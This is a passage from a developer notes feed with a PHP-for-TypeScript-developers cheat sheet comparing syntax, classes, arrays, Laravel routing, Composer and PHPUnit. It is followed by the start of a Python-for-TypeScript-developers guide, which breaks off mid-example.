&lt;td&gt;&lt;code&gt;array&lt;/code&gt; (associative)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;void&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;void&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;never&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;never&lt;/code&gt; (PHP 8.1+)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Type declarations&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
// Function parameter and return types
function greet(string $name): string {
    return &quot;Hello, $name!&quot;;
}

// Nullable types (like T | null)
function findUser(int $id): ?User {
    return null;
}

// Union types (PHP 8.0+)
function process(int|string $id): void {
    // ...
}

// Intersection types (PHP 8.1+)
function handle(Countable&amp;amp;Iterator $items): void {
    // ...
}

// Mixed type (like any)
function log(mixed $data): void {
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Functions&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function greet(name: string): string {
    return `Hello, ${name}!`
}

const add = (a: number, b: number): number =&amp;gt; a + b

function log(message: string, level: string = &quot;INFO&quot;): void {
    console.log(`[${level}] ${message}`)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PHP&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
// Basic function
function greet(string $name): string {
    return &quot;Hello, $name!&quot;;
}

// Arrow functions (PHP 7.4+, single expression only)
$add = fn(int $a, int $b): int =&amp;gt; $a + $b;

// Anonymous functions (closures)
$multiply = function(int $a, int $b): int {
    return $a * $b;
};

// Default parameters
function log(string $message, string $level = &quot;INFO&quot;): void {
    echo &quot;[$level] $message\n&quot;;
}

// Variadic functions (rest parameters)
function sum(int ...$numbers): int {
    return array_sum($numbers);
}

// Named arguments (PHP 8.0+)
function createUser(string $name, string $email, int $age = 0): User {
    // ...
}
createUser(name: &quot;Alice&quot;, email: &quot;alice@example.com&quot;);

// Closures capturing variables
$factor = 2;
$multiply = function(int $n) use ($factor): int {
    return $n * $factor;
};
// Arrow functions capture automatically
$multiply = fn(int $n): int =&amp;gt; $n * $factor;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Classes&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;class User {
    private id: number
    public name: string
    readonly email: string

    constructor(id: number, name: string, email: string) {
        this.id = id
        this.name = name
        this.email = email
    }

    greet(): string {
        return `Hello, ${this.name}`
    }

    static create(name: string): User {
        return new User(Date.now(), name, &quot;&quot;)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PHP&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
class User {
    private int $id;
    public string $name;
    public readonly string $email;  // PHP 8.1+

    public function __construct(int $id, string $name, string $email) {
        $this-&amp;gt;id = $id;
        $this-&amp;gt;name = $name;
        $this-&amp;gt;email = $email;
    }

    public function greet(): string {
        return &quot;Hello, {$this-&amp;gt;name}&quot;;
    }

    public static function create(string $name): self {
        return new self(time(), $name, &quot;&quot;);
    }
}

// Constructor property promotion (PHP 8.0+)
class User {
    public function __construct(
        private int $id,
        public string $name,
        public readonly string $email = &quot;&quot;,
    ) {}
}

// Usage
$user = new User(1, &quot;Alice&quot;, &quot;alice@example.com&quot;);
$user-&amp;gt;greet();
User::create(&quot;Bob&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Interfaces and traits&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;interface Drawable {
    draw(): void
}

interface Resizable {
    resize(width: number, height: number): void
}

class Circle implements Drawable, Resizable {
    draw() { /* ... */ }
    resize(w: number, h: number) { /* ... */ }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PHP&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
interface Drawable {
    public function draw(): void;
}

interface Resizable {
    public function resize(int $width, int $height): void;
}

class Circle implements Drawable, Resizable {
    public function draw(): void {
        // ...
    }

    public function resize(int $width, int $height): void {
        // ...
    }
}

// Traits (mixins/reusable code)
trait Loggable {
    public function log(string $message): void {
        echo &quot;[LOG] $message\n&quot;;
    }
}

trait Timestamped {
    public \DateTime $createdAt;

    public function touch(): void {
        $this-&amp;gt;createdAt = new \DateTime();
    }
}

class Article {
    use Loggable, Timestamped;

    public function save(): void {
        $this-&amp;gt;touch();
        $this-&amp;gt;log(&quot;Article saved&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Error handling&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;try {
    const data = await fetchData()
} catch (error) {
    if (error instanceof NotFoundError) {
        console.log(&quot;Not found&quot;)
    }
    throw error
} finally {
    cleanup()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PHP&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
try {
    $data = fetchData();
} catch (NotFoundException $e) {
    echo &quot;Not found\n&quot;;
} catch (ValidationException | NetworkException $e) {
    echo &quot;Error: &quot; . $e-&amp;gt;getMessage() . &quot;\n&quot;;
} catch (Exception $e) {
    throw new RuntimeException(&quot;Failed&quot;, 0, $e);  // Chain
} finally {
    cleanup();
}

// Custom exceptions
class ValidationException extends Exception {
    public function __construct(
        public readonly string $field,
        string $message
    ) {
        parent::__construct(&quot;$field: $message&quot;);
    }
}

throw new ValidationException(&quot;email&quot;, &quot;Invalid format&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Arrays&lt;/h2&gt;
&lt;p&gt;PHP arrays are unique - they&apos;re ordered maps that can be used as arrays, lists, hash tables, dictionaries, etc.&lt;/p&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const arr: number[] = [1, 2, 3]
arr.push(4)
const doubled = arr.map(n =&amp;gt; n * 2)
const evens = arr.filter(n =&amp;gt; n % 2 === 0)
const sum = arr.reduce((a, b) =&amp;gt; a + b, 0)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PHP&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
// Indexed array (like JS array)
$arr = [1, 2, 3];
$arr[] = 4;  // Push

// Map/filter/reduce
$doubled = array_map(fn($n) =&amp;gt; $n * 2, $arr);
$evens = array_filter($arr, fn($n) =&amp;gt; $n % 2 === 0);
$sum = array_reduce($arr, fn($carry, $n) =&amp;gt; $carry + $n, 0);

// Or use built-in
$sum = array_sum($arr);

// Destructuring
[$first, $second] = $arr;
[, , $third] = $arr;  // Skip elements

// Spread operator
$combined = [...$arr, 4, 5];

// Slice
array_slice($arr, 1, 2);  // [2, 3]

// Common array functions
count($arr);              // Length
in_array(2, $arr);        // Includes
array_search(2, $arr);    // indexOf
array_reverse($arr);
array_unique($arr);
sort($arr);               // Mutates!
$sorted = [...$arr];      // Clone first
sort($sorted);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Associative arrays (objects/records)&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const scores: Record&amp;lt;string, number&amp;gt; = {
    alice: 100,
    bob: 85
}
scores[&quot;charlie&quot;] = 90
delete scores.bob
Object.keys(scores)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PHP&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$scores = [
    &quot;alice&quot; =&amp;gt; 100,
    &quot;bob&quot; =&amp;gt; 85,
];

// Access
$scores[&quot;charlie&quot;] = 90;
echo $scores[&quot;alice&quot;];

// Check key exists
if (isset($scores[&quot;alice&quot;])) {
    // ...
}
if (array_key_exists(&quot;alice&quot;, $scores)) {
    // ...
}

// Delete
unset($scores[&quot;bob&quot;]);

// Keys/values
array_keys($scores);
array_values($scores);

// Iterate
foreach ($scores as $name =&amp;gt; $score) {
    echo &quot;$name: $score\n&quot;;
}

// Merge (spread equivalent)
$merged = [...$scores, &quot;david&quot; =&amp;gt; 70];
$merged = array_merge($scores, [&quot;david&quot; =&amp;gt; 70]);

// Null coalescing (like ??)
$value = $scores[&quot;unknown&quot;] ?? 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;String handling&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const name = &quot;Alice&quot;
const message = `Hello, ${name}!`
&quot;hello&quot;.toUpperCase()
&quot;hello world&quot;.split(&quot; &quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PHP&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$name = &quot;Alice&quot;;

// String interpolation (double quotes only!)
$message = &quot;Hello, $name!&quot;;
$message = &quot;Hello, {$name}!&quot;;  // Complex expressions

// Single quotes = no interpolation
$literal = &apos;Hello, $name&apos;;  // Literal &quot;$name&quot;

// Heredoc (multiline with interpolation)
$html = &amp;lt;&amp;lt;&amp;lt;HTML
    &amp;lt;div&amp;gt;
        &amp;lt;h1&amp;gt;Hello, $name!&amp;lt;/h1&amp;gt;
    &amp;lt;/div&amp;gt;
HTML;

// Nowdoc (multiline, no interpolation)
$template = &amp;lt;&amp;lt;&amp;lt;&apos;TEXT&apos;
    No $interpolation here
TEXT;

// String functions
strtoupper(&quot;hello&quot;);         // HELLO
strtolower(&quot;HELLO&quot;);         // hello
strlen($name);               // 5
explode(&quot; &quot;, &quot;hello world&quot;); // [&quot;hello&quot;, &quot;world&quot;]
implode(&quot;, &quot;, $arr);         // Join
trim(&quot;  hello  &quot;);           // &quot;hello&quot;
str_replace(&quot;l&quot;, &quot;L&quot;, &quot;hello&quot;); // heLLo
substr(&quot;hello&quot;, 1, 3);       // &quot;ell&quot;
strpos(&quot;hello&quot;, &quot;l&quot;);        // 2 (first occurrence)
str_contains(&quot;hello&quot;, &quot;ell&quot;); // true (PHP 8.0+)
str_starts_with(&quot;hello&quot;, &quot;he&quot;); // true (PHP 8.0+)
str_ends_with(&quot;hello&quot;, &quot;lo&quot;);   // true (PHP 8.0+)

// sprintf (printf-style)
$msg = sprintf(&quot;User %s has %d points&quot;, $name, 100);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;JSON handling&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const json = JSON.stringify(obj)
const parsed = JSON.parse(json)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PHP&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
// Encode
$json = json_encode($data);
$json = json_encode($data, JSON_PRETTY_PRINT);

// Decode
$data = json_decode($json);          // Returns stdClass
$data = json_decode($json, true);    // Returns associative array

// Error handling
$data = json_decode($json, true);
if (json_last_error() !== JSON_ERROR_NONE) {
    throw new RuntimeException(json_last_error_msg());
}

// PHP 7.3+
$data = json_decode($json, true, 512, JSON_THROW_ON_ERROR);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;HTTP server&lt;/h2&gt;
&lt;h3&gt;TypeScript (Express)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import express from &apos;express&apos;

const app = express()
app.use(express.json())

app.get(&apos;/users/:id&apos;, (req, res) =&amp;gt; {
    res.json({ id: req.params.id, name: &apos;Alice&apos; })
})

app.listen(3000)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PHP (vanilla)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
// index.php
header(&apos;Content-Type: application/json&apos;);

$method = $_SERVER[&apos;REQUEST_METHOD&apos;];
$path = parse_url($_SERVER[&apos;REQUEST_URI&apos;], PHP_URL_PATH);

// Simple routing
if ($method === &apos;GET&apos; &amp;amp;&amp;amp; preg_match(&apos;#^/users/(\d+)$#&apos;, $path, $matches)) {
    $id = $matches[1];
    echo json_encode([&apos;id&apos; =&amp;gt; $id, &apos;name&apos; =&amp;gt; &apos;Alice&apos;]);
    exit;
}

// POST body
$body = json_decode(file_get_contents(&apos;php://input&apos;), true);

http_response_code(404);
echo json_encode([&apos;error&apos; =&amp;gt; &apos;Not found&apos;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PHP (Laravel)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
// routes/api.php
use App\Http\Controllers\UserController;
use Illuminate\Support\Facades\Route;

Route::get(&apos;/users/{id}&apos;, [UserController::class, &apos;show&apos;]);
Route::post(&apos;/users&apos;, [UserController::class, &apos;store&apos;]);

// app/Http/Controllers/UserController.php
namespace App\Http\Controllers;

use App\Models\User;
use Illuminate\Http\Request;

class UserController extends Controller
{
    public function show(int $id)
    {
        return User::findOrFail($id);
    }

    public function store(Request $request)
    {
        $validated = $request-&amp;gt;validate([
            &apos;name&apos; =&amp;gt; &apos;required|string|max:255&apos;,
            &apos;email&apos; =&amp;gt; &apos;required|email|unique:users&apos;,
        ]);

        return User::create($validated);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Package management (Composer)&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;npm init
npm install express
npm install -D typescript
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PHP&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;composer init
composer require guzzlehttp/guzzle
composer require --dev phpunit/phpunit
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// composer.json
{
    &quot;require&quot;: {
        &quot;php&quot;: &quot;^8.2&quot;,
        &quot;guzzlehttp/guzzle&quot;: &quot;^7.0&quot;
    },
    &quot;require-dev&quot;: {
        &quot;phpunit/phpunit&quot;: &quot;^10.0&quot;
    },
    &quot;autoload&quot;: {
        &quot;psr-4&quot;: {
            &quot;App\\&quot;: &quot;src/&quot;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
// Autoloading
require __DIR__ . &apos;/vendor/autoload.php&apos;;

use GuzzleHttp\Client;
use App\Services\UserService;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Namespaces&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// ES modules
import { UserService } from &apos;./services/user&apos;
export class AuthService {}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PHP&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
// src/Services/UserService.php
namespace App\Services;

use App\Models\User;
use App\Repositories\UserRepository;

class UserService {
    public function __construct(
        private UserRepository $repository
    ) {}
}

// Usage
use App\Services\UserService;

$service = new UserService($repo);

// Aliasing
use App\Services\UserService as Users;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Testing (PHPUnit)&lt;/h2&gt;
&lt;h3&gt;TypeScript (Jest)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;describe(&apos;math&apos;, () =&amp;gt; {
    it(&apos;adds numbers&apos;, () =&amp;gt; {
        expect(add(1, 2)).toBe(3)
    })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PHP (PHPUnit)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
// tests/MathTest.php
namespace Tests;

use PHPUnit\Framework\TestCase;

class MathTest extends TestCase
{
    public function testAdd(): void
    {
        $this-&amp;gt;assertEquals(3, add(1, 2));
    }

    public function testDivideByZero(): void
    {
        $this-&amp;gt;expectException(\DivisionByZeroError::class);
        divide(1, 0);
    }

    /**
     * @dataProvider additionProvider
     */
    public function testAddWithProvider(int $a, int $b, int $expected): void
    {
        $this-&amp;gt;assertEquals($expected, add($a, $b));
    }

    public static function additionProvider(): array
    {
        return [
            [1, 2, 3],
            [0, 0, 0],
            [-1, 1, 0],
        ];
    }

    protected function setUp(): void
    {
        // Before each test
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;./vendor/bin/phpunit
./vendor/bin/phpunit --coverage-html coverage
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Enums (PHP 8.1+)&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;enum Status {
    Pending = &apos;pending&apos;,
    Active = &apos;active&apos;,
    Inactive = &apos;inactive&apos;
}

const status: Status = Status.Active
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PHP&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
// Basic enum
enum Status {
    case Pending;
    case Active;
    case Inactive;
}

$status = Status::Active;

// Backed enum (with values)
enum Status: string {
    case Pending = &apos;pending&apos;;
    case Active = &apos;active&apos;;
    case Inactive = &apos;inactive&apos;;
}

$status = Status::Active;
echo $status-&amp;gt;value;  // &quot;active&quot;

// From value
$status = Status::from(&apos;active&apos;);        // Throws if invalid
$status = Status::tryFrom(&apos;unknown&apos;);    // Returns null if invalid

// Enum methods
enum Status: string {
    case Pending = &apos;pending&apos;;
    case Active = &apos;active&apos;;
    case Inactive = &apos;inactive&apos;;

    public function label(): string {
        return match($this) {
            self::Pending =&amp;gt; &apos;Awaiting Review&apos;,
            self::Active =&amp;gt; &apos;Currently Active&apos;,
            self::Inactive =&amp;gt; &apos;No Longer Active&apos;,
        };
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Match expression (PHP 8.0+)&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Switch or object lookup
const getMessage = (status: string): string =&amp;gt; {
    switch (status) {
        case &apos;success&apos;: return &apos;It worked!&apos;
        case &apos;error&apos;: return &apos;Something failed&apos;
        default: return &apos;Unknown&apos;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PHP&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
// match is an expression (returns value)
$message = match($status) {
    &apos;success&apos; =&amp;gt; &apos;It worked!&apos;,
    &apos;error&apos; =&amp;gt; &apos;Something failed&apos;,
    &apos;warning&apos;, &apos;notice&apos; =&amp;gt; &apos;Check this out&apos;,  // Multiple conditions
    default =&amp;gt; &apos;Unknown&apos;,
};

// With enums
$color = match($status) {
    Status::Active =&amp;gt; &apos;green&apos;,
    Status::Pending =&amp;gt; &apos;yellow&apos;,
    Status::Inactive =&amp;gt; &apos;gray&apos;,
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Common gotchas for TS developers&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;$&lt;/code&gt; required for variables&lt;/strong&gt; - always &lt;code&gt;$name&lt;/code&gt;, not &lt;code&gt;name&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;-&amp;gt;&lt;/code&gt; not &lt;code&gt;.&lt;/code&gt; for object access&lt;/strong&gt; - &lt;code&gt;$user-&amp;gt;name&lt;/code&gt; not &lt;code&gt;$user.name&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;::&lt;/code&gt; for static access&lt;/strong&gt; - &lt;code&gt;User::create()&lt;/code&gt; not &lt;code&gt;User.create()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Double quotes for interpolation&lt;/strong&gt; - &lt;code&gt;&quot;Hello $name&quot;&lt;/code&gt; works, &lt;code&gt;&apos;Hello $name&apos;&lt;/code&gt; doesn&apos;t&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Arrays are both lists and maps&lt;/strong&gt; - same syntax for both&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;==&lt;/code&gt; is loose, &lt;code&gt;===&lt;/code&gt; is strict&lt;/strong&gt; - just like JavaScript&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No undefined&lt;/strong&gt; - only &lt;code&gt;null&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Semicolons required&lt;/strong&gt; - unlike JavaScript&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;String concatenation uses &lt;code&gt;.&lt;/code&gt;&lt;/strong&gt; - &lt;code&gt;&quot;Hello&quot; . &quot; &quot; . &quot;World&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Array functions often have weird parameter order&lt;/strong&gt; - &lt;code&gt;array_map($fn, $arr)&lt;/code&gt; vs &lt;code&gt;array_filter($arr, $fn)&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
// Loose vs strict comparison
0 == &quot;0&quot;    // true
0 === &quot;0&quot;   // false
null == false  // true (!)
null === false // false

// Spaceship operator (useful for sorting)
1 &amp;lt;=&amp;gt; 2  // -1
2 &amp;lt;=&amp;gt; 2  // 0
3 &amp;lt;=&amp;gt; 2  // 1

usort($arr, fn($a, $b) =&amp;gt; $a &amp;lt;=&amp;gt; $b);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Resources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/docs.php&quot;&gt;PHP Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://phptherightway.com/&quot;&gt;PHP The Right Way&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://laravel.com/docs&quot;&gt;Laravel Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://front-line-php.com/cheat-sheet&quot;&gt;Modern PHP Cheat Sheet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php-fig.org/psr/&quot;&gt;PHP-FIG Standards (PSR)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>php</category><category>typescript</category><category>cheatsheet</category><author>Zander Martineau</author></item><item><title>Python for TypeScript developers</title><link>https://zander.wtf/notes/python-for-ts-devs/</link><guid isPermaLink="true">https://zander.wtf/notes/python-for-ts-devs/</guid><description>A guide to Python for developers coming from TypeScript/JavaScript. Key differences from TypeScript | Concept | TypeScript | Python |…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A guide to Python for developers coming from TypeScript/JavaScript.&lt;/p&gt;
&lt;h2&gt;Key differences from TypeScript&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;TypeScript&lt;/th&gt;
&lt;th&gt;Python&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Typing&lt;/td&gt;
&lt;td&gt;Static, structural&lt;/td&gt;
&lt;td&gt;Dynamic (optional type hints)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Indentation&lt;/td&gt;
&lt;td&gt;Braces &lt;code&gt;{}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Whitespace-significant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Compilation&lt;/td&gt;
&lt;td&gt;Transpiles to JS&lt;/td&gt;
&lt;td&gt;Interpreted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Package manager&lt;/td&gt;
&lt;td&gt;npm/yarn/pnpm&lt;/td&gt;
&lt;td&gt;pip, poetry, uv&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Null&lt;/td&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt; / &lt;code&gt;undefined&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;None&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Concurrency&lt;/td&gt;
&lt;td&gt;Async/await, event loop&lt;/td&gt;
&lt;td&gt;asyncio, threading, multiprocessing&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Variables and constants&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const name: string = &quot;Alice&quot;
let age: number = 30
const isActive = true
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Python&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# No const keyword - convention is UPPER_CASE for constants
name: str = &quot;Alice&quot;
age: int = 30
is_active = True  # Type inference

# Convention for constants
MAX_SIZE = 100
API_URL = &quot;https://api.example.com&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Basic types&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;TypeScript&lt;/th&gt;
&lt;th&gt;Python&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;string&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;str&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;number&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;int&lt;/code&gt;, &lt;code&gt;float&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;boolean&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bool&lt;/code&gt; (&lt;code&gt;True&lt;/code&gt;/&lt;code&gt;False&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;any&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Any&lt;/code&gt; (from typing)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt; / &lt;code&gt;undefined&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;None&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Array&amp;lt;T&amp;gt;&lt;/code&gt; / &lt;code&gt;T[]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;list[T]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Record&amp;lt;K, V&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;dict[K, V]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Set&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;set[T]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[T, U]&lt;/code&gt; (tuple)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;tuple[T, U]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Type hints (like TypeScript types)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from typing import Optional, Union, List, Dict, Any

# Basic types
name: str = &quot;Alice&quot;
age: int = 30
scores: list[float] = [95.5, 87.0]
config: dict[str, Any] = {&quot;debug&quot;: True}

# Optional (like T | undefined)
email: Optional[str] = None  # or str | None (Python 3.10+)

# Union types
id: Union[int, str] = 123  # or int | str (Python 3.10+)

# Type aliases
UserId = int | str
UserMap = dict[str, &quot;User&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Functions&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function greet(name: string): string {
    return `Hello, ${name}!`
}

const add = (a: number, b: number): number =&amp;gt; a + b

// Optional and default parameters
function log(message: string, level: string = &quot;INFO&quot;): void {
    console.log(`[${level}] ${message}`)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Python&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;def greet(name: str) -&amp;gt; str:
    return f&quot;Hello, {name}!&quot;

# Lambda (limited to single expression)
add = lambda a, b: a + b

# Default parameters
def log(message: str, level: str = &quot;INFO&quot;) -&amp;gt; None:
    print(f&quot;[{level}] {message}&quot;)

# *args and **kwargs (like rest/spread)
def func(*args, **kwargs):
    print(args)    # tuple of positional args
    print(kwargs)  # dict of keyword args

# Keyword-only arguments (after *)
def fetch(url: str, *, timeout: int = 30, retry: bool = True):
    pass

fetch(&quot;http://...&quot;, timeout=60)  # Must use keyword
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Classes&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;class User {
    private id: number
    public name: string

    constructor(id: number, name: string) {
        this.id = id
        this.name = name
    }

    greet(): string {
        return `Hello, ${this.name}`
    }

    static create(name: string): User {
